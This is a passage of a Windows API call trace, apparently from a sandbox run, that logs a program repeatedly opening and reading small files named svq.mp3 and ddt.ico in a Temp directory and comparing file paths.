lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.673] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.673] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.673] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.673] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.673] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.673] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.673] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.673] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.673] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.673] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.673] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.673] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.674] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.674] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.674] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.674] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.674] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.674] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.674] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.674] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.674] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.674] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.674] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.674] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.674] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.674] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.675] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.675] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.675] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.675] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.675] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.675] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.675] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.675] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.675] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.676] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.676] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.676] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.676] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.676] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.676] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.676] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.676] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.676] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.677] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.677] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.677] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.677] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.677] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.677] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.677] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.677] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.677] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.677] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.677] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.677] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.678] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.678] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.678] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.678] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.678] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.678] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.678] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.678] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.678] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.678] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.679] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.679] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.679] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.679] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.679] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.679] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.679] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.679] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.679] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.679] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.679] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.680] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.680] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.680] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.680] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.680] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.680] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.680] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.680] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.680] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.680] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.681] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.681] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.681] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.681] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.681] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.681] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.681] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.681] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.681] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.681] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.682] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.682] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.682] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.682] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.682] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.682] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.682] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.682] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.683] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.683] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.683] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.683] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.683] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.683] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.683] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.683] ReadFile (in: 